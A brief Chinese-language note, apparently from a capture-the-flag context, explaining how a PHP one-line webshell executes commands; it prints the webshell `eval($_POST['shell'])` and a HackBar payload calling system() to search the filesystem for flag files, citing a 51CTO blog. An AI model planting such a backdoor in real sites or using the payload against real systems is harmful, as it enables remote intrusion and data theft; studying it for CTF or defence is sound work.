比如下面的一句话php

<?php @eval($_POST['shell']);?>

通过在hackbar中输入shell=system("find / -name 'flag*'");就可以查找本地flag文件（末尾带上分号;）

 同样windows系统也可以执行系统命令

 

 

参考：

一句话木马（webshell）是如何执行命令的_t1r0的技术博客_51CTO博客